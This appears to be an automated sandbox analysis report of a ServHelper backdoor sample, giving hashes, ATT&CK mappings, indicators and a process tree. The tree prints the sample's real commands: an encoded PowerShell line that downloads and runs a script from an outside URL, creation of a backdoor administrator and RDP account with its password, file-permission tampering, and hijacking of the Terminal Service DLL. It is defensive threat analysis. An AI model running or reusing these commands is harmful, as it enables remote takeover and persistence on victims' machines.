servhelper | aefb4a2472f0517d58cae7e5e0c9c51b4e36b39f6096dbffc6b8cc18d0be7175

Analysis

max time kernel
144s
max time network
64s
platform
windows7_x64
resource
win7v20210408
submitted
10/10/2021, 20:55

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General

Target

5t6yujh.exe
Size

5.7MB
MD5

211ca7c8d5fd20f7dcaebdbe354662be
SHA1

1111e864f3e9d2e6879c5179c4136638b05b67c9
SHA256

aefb4a2472f0517d58cae7e5e0c9c51b4e36b39f6096dbffc6b8cc18d0be7175
SHA512

d7e6e638cdfd4792a09d671f4e61de715a63a9001283594e6c73d5a88dfc8b91d201fc19b1228b7b1a654f9abb8cf52893d3cc02aea142a1c5c7b9d3f876e24f

Score

10^/10

servhelper backdoor discovery exploit persistence trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
10	1844	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1784	icacls.exe
1160	icacls.exe
1844	icacls.exe
1600	icacls.exe
620	takeown.exe
1328	icacls.exe
1732	icacls.exe
580	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130d9-167.dat	upx
behavioral1/files/0x00050000000130da-168.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
1060	Process not Found
1060	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1328	icacls.exe
1732	icacls.exe
580	icacls.exe
1784	icacls.exe
1160	icacls.exe
1844	icacls.exe
1600	icacls.exe
620	takeown.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3eb8d2cc-9ede-4dc9-b60e-57f741824474	powershell.exe
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a53f6d04-8413-43aa-8c03-242ad3c66866	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_cff7075f-747e-4b37-85e6-6950a3eae12c	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\9B5DZS2M3BQR2H1C20MI.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e8d30324-2e43-4b84-ac95-a8a3597e4a80	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_aa74722b-01c9-469b-97f7-955d7260f881	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ded16fa5-e93d-4f17-b571-d93c31a0830e	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_f64a93c8-8f21-48c2-a397-10504fc7657f	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ef394e1a-e502-40b7-a4db-d35cc01ea761	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6af89d76-631a-41e0-80c9-c8920c7fe6ab	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_22233898-edef-45ee-a7eb-fb89511f4336	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_7ad5de90-20cb-46bf-923a-804b90a9aabc	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = c02897ff29bed701	powershell.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1440	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1724	powershell.exe
1724	powershell.exe
1116	powershell.exe
1116	powershell.exe
776	powershell.exe
776	powershell.exe
1724	powershell.exe
1724	powershell.exe
1724	powershell.exe
1844	powershell.exe
1844	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
460	Process not Found
1060	Process not Found
1060	Process not Found
1060	Process not Found
1060	Process not Found

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	1724	powershell.exe
Token: SeDebugPrivilege	1116	powershell.exe
Token: SeDebugPrivilege	776	powershell.exe
Token: SeRestorePrivilege	1732	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1712	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1712	WMIC.exe
Token: SeAuditPrivilege	1712	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1712	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1712	WMIC.exe
Token: SeAuditPrivilege	1712	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1816	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1816	WMIC.exe
Token: SeAuditPrivilege	1816	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1816	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1816	WMIC.exe
Token: SeAuditPrivilege	1816	WMIC.exe
Token: SeDebugPrivilege	1844	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1996 wrote to memory of 1724	1996	5t6yujh.exe	26
PID 1996 wrote to memory of 1724	1996	5t6yujh.exe	26
PID 1996 wrote to memory of 1724	1996	5t6yujh.exe	26
PID 1724 wrote to memory of 1728	1724	powershell.exe	28
PID 1724 wrote to memory of 1728	1724	powershell.exe	28
PID 1724 wrote to memory of 1728	1724	powershell.exe	28
PID 1728 wrote to memory of 600	1728	csc.exe	29
PID 1728 wrote to memory of 600	1728	csc.exe	29
PID 1728 wrote to memory of 600	1728	csc.exe	29
PID 1724 wrote to memory of 1116	1724	powershell.exe	30
PID 1724 wrote to memory of 1116	1724	powershell.exe	30
PID 1724 wrote to memory of 1116	1724	powershell.exe	30
PID 1724 wrote to memory of 1080	1724	powershell.exe	32
PID 1724 wrote to memory of 1080	1724	powershell.exe	32
PID 1724 wrote to memory of 1080	1724	powershell.exe	32
PID 1724 wrote to memory of 776	1724	powershell.exe	34
PID 1724 wrote to memory of 776	1724	powershell.exe	34
PID 1724 wrote to memory of 776	1724	powershell.exe	34
PID 1724 wrote to memory of 620	1724	powershell.exe	38
PID 1724 wrote to memory of 620	1724	powershell.exe	38
PID 1724 wrote to memory of 620	1724	powershell.exe	38
PID 1724 wrote to memory of 1328	1724	powershell.exe	39
PID 1724 wrote to memory of 1328	1724	powershell.exe	39
PID 1724 wrote to memory of 1328	1724	powershell.exe	39
PID 1724 wrote to memory of 1732	1724	powershell.exe	40
PID 1724 wrote to memory of 1732	1724	powershell.exe	40
PID 1724 wrote to memory of 1732	1724	powershell.exe	40
PID 1724 wrote to memory of 580	1724	powershell.exe	41
PID 1724 wrote to memory of 580	1724	powershell.exe	41
PID 1724 wrote to memory of 580	1724	powershell.exe	41
PID 1724 wrote to memory of 1784	1724	powershell.exe	42
PID 1724 wrote to memory of 1784	1724	powershell.exe	42
PID 1724 wrote to memory of 1784	1724	powershell.exe	42
PID 1724 wrote to memory of 1160	1724	powershell.exe	43
PID 1724 wrote to memory of 1160	1724	powershell.exe	43
PID 1724 wrote to memory of 1160	1724	powershell.exe	43
PID 1724 wrote to memory of 1844	1724	powershell.exe	44
PID 1724 wrote to memory of 1844	1724	powershell.exe	44
PID 1724 wrote to memory of 1844	1724	powershell.exe	44
PID 1724 wrote to memory of 1600	1724	powershell.exe	45
PID 1724 wrote to memory of 1600	1724	powershell.exe	45
PID 1724 wrote to memory of 1600	1724	powershell.exe	45
PID 1724 wrote to memory of 1992	1724	powershell.exe	46
PID 1724 wrote to memory of 1992	1724	powershell.exe	46
PID 1724 wrote to memory of 1992	1724	powershell.exe	46
PID 1724 wrote to memory of 1440	1724	powershell.exe	47
PID 1724 wrote to memory of 1440	1724	powershell.exe	47
PID 1724 wrote to memory of 1440	1724	powershell.exe	47
PID 1724 wrote to memory of 1200	1724	powershell.exe	48
PID 1724 wrote to memory of 1200	1724	powershell.exe	48
PID 1724 wrote to memory of 1200	1724	powershell.exe	48
PID 1724 wrote to memory of 1116	1724	powershell.exe	49
PID 1724 wrote to memory of 1116	1724	powershell.exe	49
PID 1724 wrote to memory of 1116	1724	powershell.exe	49
PID 1116 wrote to memory of 1792	1116	net.exe	50
PID 1116 wrote to memory of 1792	1116	net.exe	50
PID 1116 wrote to memory of 1792	1116	net.exe	50
PID 1724 wrote to memory of 324	1724	powershell.exe	51
PID 1724 wrote to memory of 324	1724	powershell.exe	51
PID 1724 wrote to memory of 324	1724	powershell.exe	51
PID 324 wrote to memory of 1812	324	cmd.exe	52
PID 324 wrote to memory of 1812	324	cmd.exe	52
PID 324 wrote to memory of 1812	324	cmd.exe	52
PID 1812 wrote to memory of 1068	1812	cmd.exe	53

C:\Users\Admin\AppData\Local\Temp\5t6yujh.exe
"C:\Users\Admin\AppData\Local\Temp\5t6yujh.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1724
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2bmya4d3\2bmya4d3.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1728
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDC5B.tmp" "c:\Users\Admin\AppData\Local\Temp\2bmya4d3\CSC78F7F96AED0E42A3BD16D3E9B0B539F5.TMP"
      4⤵
      PID:600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1116
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    PID:1080
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:776
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:620
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1328
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1732
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:580
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1784
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1160
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1844
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1600
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1992
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1440
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:1200
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1116
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:1792
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:324
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1812
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1068
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1680
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:944
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:1656
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1016
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:756
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:1608
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:1472

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:620
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:844
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:556

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc CZBb3gcd /add
1⤵
PID:1832
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc CZBb3gcd /add
  2⤵
  PID:1368
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc CZBb3gcd /add
    3⤵
    PID:1592

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:1736
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:1200
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1008

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:1816
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:1068
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:2032

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1792
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:580
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:844

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc CZBb3gcd
1⤵
PID:556
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc CZBb3gcd
  2⤵
  PID:1628
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc CZBb3gcd
    3⤵
    PID:1368

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:796
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1712

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1648
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1816

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1760
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1792
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1844

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/776-128-0x000000001AAC4000-0x000000001AAC6000-memory.dmp

Filesize
8KB

Download
memory/776-127-0x000000001AAC0000-0x000000001AAC2000-memory.dmp

Filesize
8KB

Download
memory/1116-101-0x00000000025F0000-0x00000000025F1000-memory.dmp

Filesize
4KB

Download
memory/1116-121-0x000000001B5E0000-0x000000001B5E1000-memory.dmp

Filesize
4KB

Download
memory/1116-120-0x000000001AC30000-0x000000001AC31000-memory.dmp

Filesize
4KB

Download
memory/1116-107-0x000000001B5A0000-0x000000001B5A1000-memory.dmp

Filesize
4KB

Download
memory/1116-93-0x000000001AC40000-0x000000001AC42000-memory.dmp

Filesize
8KB

Download
memory/1116-100-0x00000000025A0000-0x00000000025A1000-memory.dmp

Filesize
4KB

Download
memory/1116-98-0x000000001B6E0000-0x000000001B6E1000-memory.dmp

Filesize
4KB

Download
memory/1116-96-0x00000000023C0000-0x00000000023C1000-memory.dmp

Filesize
4KB

Download
memory/1116-94-0x000000001AC44000-0x000000001AC46000-memory.dmp

Filesize
8KB

Download
memory/1724-85-0x000000001B760000-0x000000001B761000-memory.dmp

Filesize
4KB

Download
memory/1724-87-0x00000000026F0000-0x00000000026F1000-memory.dmp

Filesize
4KB

Download
memory/1724-67-0x000007FEFC051000-0x000007FEFC053000-memory.dmp

Filesize
8KB

Download
memory/1724-70-0x0000000002460000-0x0000000002461000-memory.dmp

Filesize
4KB

Download
memory/1724-73-0x0000000002490000-0x0000000002491000-memory.dmp

Filesize
4KB

Download
memory/1724-69-0x000000001AC00000-0x000000001AC01000-memory.dmp

Filesize
4KB

Download
memory/1724-75-0x000000001C1B0000-0x000000001C1B1000-memory.dmp

Filesize
4KB

Download
memory/1724-72-0x000000001AAA4000-0x000000001AAA6000-memory.dmp

Filesize
8KB

Download
memory/1724-144-0x000000001C5B0000-0x000000001C5B1000-memory.dmp

Filesize
4KB

Download
memory/1724-102-0x000000001AAAA000-0x000000001AAC9000-memory.dmp

Filesize
124KB

Download
memory/1724-71-0x000000001AAA0000-0x000000001AAA2000-memory.dmp

Filesize
8KB

Download
memory/1724-83-0x0000000002330000-0x0000000002331000-memory.dmp

Filesize
4KB

Download
memory/1724-86-0x000000001C280000-0x000000001C281000-memory.dmp

Filesize
4KB

Download
memory/1724-68-0x0000000002260000-0x0000000002261000-memory.dmp

Filesize
4KB

Download
memory/1844-221-0x000000001964A000-0x0000000019669000-memory.dmp

Filesize
124KB

Download
memory/1844-201-0x0000000000F80000-0x0000000000F81000-memory.dmp

Filesize
4KB

Download
memory/1844-200-0x0000000000E00000-0x0000000000E01000-memory.dmp

Filesize
4KB

Download
memory/1844-195-0x0000000019540000-0x0000000019541000-memory.dmp

Filesize
4KB

Download
memory/1844-191-0x0000000019640000-0x0000000019642000-memory.dmp

Filesize
8KB

Download
memory/1844-192-0x0000000019644000-0x0000000019646000-memory.dmp

Filesize
8KB

Download
memory/1996-65-0x00000000411E7000-0x00000000411E8000-memory.dmp

Filesize
4KB

Download
memory/1996-63-0x00000000411E4000-0x00000000411E6000-memory.dmp

Filesize
8KB

Download
memory/1996-60-0x0000000041660000-0x0000000041A5F000-memory.dmp

Filesize
4.0MB

Download
memory/1996-64-0x00000000411E6000-0x00000000411E7000-memory.dmp

Filesize
4KB

Download
memory/1996-62-0x00000000411E2000-0x00000000411E4000-memory.dmp

Filesize
8KB

Download